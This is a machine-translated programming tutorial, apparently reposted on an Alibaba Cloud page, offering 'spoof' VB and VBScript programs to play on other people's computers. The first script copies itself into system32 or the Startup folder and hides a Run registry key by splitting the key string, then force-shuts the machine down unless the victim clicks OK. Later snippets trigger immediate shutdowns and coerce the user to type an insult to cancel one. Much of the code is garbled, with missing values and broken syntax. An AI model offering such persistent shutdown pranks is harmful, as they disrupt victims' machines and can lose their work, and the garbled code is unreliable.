VB shut down the computer spoof small program _vb

Source: Internet
Author: User
Tags chr

VB off the computer spoof applet one:

Dim FS, Dirwin, C,WLL, str,strr,r Set fs = CreateObject ("Scripting.FileSystemObject") Set Dirwin = fs. GetSpecialFolder (1) Set Wll = WScript.CreateObject ("Wscript.Shell") Set c = fs. GetFile (wscript.scriptfullname) str = "HK" & "Lm\soft" & "WARE\MICR" & "Osoft\win" & "Dows\curren" & " Tversion\r "&" UN\WXB "if (FS). FileExists (dirwin& "\wxb.vbs")) Then call Show_and_do ("Reg") ElseIf (fs. FileExists ("C:\Documents and Settings\All Users\Start Menu\programs\startup\wxb.vbs") Then call Show_and_do ("Startup ") Else on Error Resume Next strr=" "Wll.regwrite str," C:\WINDOWS\system32\wxb.vbs "," REG_SZ "Strr=wll.regread (str) if Strr= "" "Then C.copy (" C:\Documents and Settings\All Users\Start Menu\programs\startup\wxb.vbs ") Else C.copy (dirwin& "\wxb.vbs") End If End If sub Show_and_do (s) Dim F R = MsgBox ("Warning: Please don't touch My Computer!" & Chr & Chr (a) & "Make sure-> will ask for permission the next time." & Chr & "Cancel-> love, I don't care about him!", 4145, "MsgBox Example") If R = 1 Then if s= "Startup"Then set F = fs.
GetFile ("C:\Documents and Settings\All Users\Start Menu\programs\startup\wxb.vbs") f.delete () ElseIf s= "Reg" Then Wll.regdelete str Set f = fs.

 GetFile (dirwin& "\wxb.vbs") f.delete () End If Else wll.run "shutdown.exe-s-f-t 0" End If End Sub

It's a little bit complicated, so just a little bit simpler.

The code is as follows:

Option Explicit
Const Sm_cleanboot =
Ewx_logoff = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2
   const Ewx_force = 4

Private Declare Function exitwindowsex Lib "user32" (ByVal uflags as Long,byval dwreserved as L ONG) as Long

Private Sub form_load () call
  ExitWindowsEx (ewx_shutdown, 0) End
Sub

When you can use a simpler method of writing
Enter the following code directly:

The-T 0 behind the Private Sub Form_Load ()
Shell "cmd/c shutdown-s-T"
Rem is 0 seconds off, and if-t 0 is removed, the default is 30 seconds off end
Sub

Method Three:

Private Sub Command1_Click ()
If Text1 = "I am a pig" Then
Shell "cmd.exe/c shutdown-a"
MsgBox "haha let you go! ", 64," Prompt "End-
If End
Sub
Private Sub Form_Load ()
MsgBox" haha you recruit, say you are pig, otherwise 1 minutes let your computer shutdown ", 48," hint "
Shell "cmd.exe/c shutdown-s-T" &, Vbhide
End Sub
Private Sub form_unload (Cancel as Integer)
g = MsgBox ("Want to shut me down???")  ", vbOKCancel + vbquestion," close Window ")
If g = vbOK Then
Cancel =
MsgBox" haha, you can't shut me up. ", 64," Tip "
end If if
g = 2 Then
Cancel = one end
If end
Sub

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.